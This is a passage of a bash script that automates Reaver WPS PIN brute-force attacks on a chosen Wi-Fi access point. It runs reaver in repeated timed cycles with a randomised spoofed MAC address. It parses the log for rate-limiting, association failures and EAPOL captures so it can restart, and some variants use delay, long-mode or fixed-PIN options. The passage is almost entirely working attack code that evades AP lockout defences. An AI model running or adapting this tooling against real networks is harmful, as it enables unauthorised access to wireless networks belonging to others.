	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R46 == y || $USE_R46 == Y ]] && [[ $USE_LONG46 == n || $USE_LONG46 == N ]] && [[ $USE_PIN46 == n || $USE_PIN46 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX46" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY46"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -vv -x 60 -r $RX46:$RY46 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R46 == n || $USE_R46 == N ]] && [[ $USE_LONG46 == y || $USE_LONG46 == Y ]] && [[ $USE_PIN46 == n || $USE_PIN46 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R46 == y || $USE_R46 == Y ]] && [[ $USE_LONG46 == y || $USE_LONG46 == Y ]] && [[ $USE_PIN46 == n || $USE_PIN46 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX46" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY46"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -r $RX46:$RY46 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R46 == n || $USE_R46 == N ]] && [[ $USE_LONG46 == n || $USE_LONG46 == N ]] && [[ $USE_PIN46 == y || $USE_PIN46 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -vv -x 60  --pin=$WPS_PIN46 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R46 == y || $USE_R46 == Y ]] && [[ $USE_LONG46 == n || $USE_LONG46 == N ]] && [[ $USE_PIN46 == y || $USE_PIN46 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX46" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY46"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"

echo -e "$txtrst"

